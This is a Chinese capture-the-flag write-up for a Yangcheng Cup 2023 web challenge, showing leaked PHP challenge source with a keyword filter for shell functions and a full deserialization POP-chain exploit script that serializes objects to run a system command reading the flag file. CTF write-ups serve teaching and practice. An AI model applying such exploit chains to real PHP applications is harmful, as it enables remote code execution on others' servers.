[羊城杯 2023] web

文章目录

    • [D0n't pl4y g4m3!!!](#D0n't pl4y g4m3!!!)

D0n't pl4y g4m3!!!

打开题目,可以判断这里为php Development Server 启动的服务

查询得知,存在 PHP<=7.4.21 Development Server源码泄露漏洞(参考文章)

抓包,构造payload
得到源码

class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
            call_user_func('system', "cat /flag");
     }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
  unserialize(prohib($a));
}
?>

还有提示./hint.zip,下载完解压,猜测是某种编码

复制到谷歌,发现GitHub上面有解码工具
然后再回过头看

pop链子:Bei.__destruct()->Yang.__call()

exp

<?php
class Pro  //five
{
    private $exp;
    private $rce2;
}

class Yang  //one
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
}
class Cheng  //two
{
    private $finish;
    public $name;
    
}
class Bei  //four
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

$a=new Bei();
$a->rce="cat /tmp/catcatf1ag.txt";
$a->rce1="";
$b=new Yang();
$b->finish->finish=true;
$a->CTF=$b;
$c=new Yang();
$c->key=true;
$c->finish->finish=true;
$c->now['YCB1']='system';
$a->fine=$c;
echo urlencode(serialize($a));
?>

得到flag

相关推荐
Hacker_LaoYi3 分钟前
Windows server网络安全
windows·安全·web安全
李长渊哦4 分钟前
Spring Boot 接口延迟响应的实现与应用场景
spring boot·后端·php
渗透测试老鸟-九青14 分钟前
我与红队:一场网络安全实战的较量与成长
运维·服务器·网络·经验分享·安全·web安全·代码审计
黑客-秋凌33 分钟前
网络安全基础与应用习题 网络安全基础答案
网络·安全·web安全
故事与他6452 小时前
CTFHub-上传文件
android·ide·windows·web安全·网络安全·android studio·xss
Hacker_Oldv3 小时前
CTF网络安全题库 CTF网络安全大赛答案
安全·web安全
程序员buddha3 小时前
ThinkPHP8.0+MySQL8.0搭建简单实用电子证书查询系统
javascript·css·mysql·php·layui·jquery·html5
网络安全-老纪4 小时前
jumpserver 网络安全 网络安全 authenticity
安全·web安全
网络安全(king)4 小时前
基于java社交网络安全的知识图谱的构建与实现
开发语言·网络·深度学习·安全·web安全·php
菜腿承希6 小时前
第二篇:CTF常见题型解析:密码学、逆向工程、漏洞利用、Web安全
网络·安全·web安全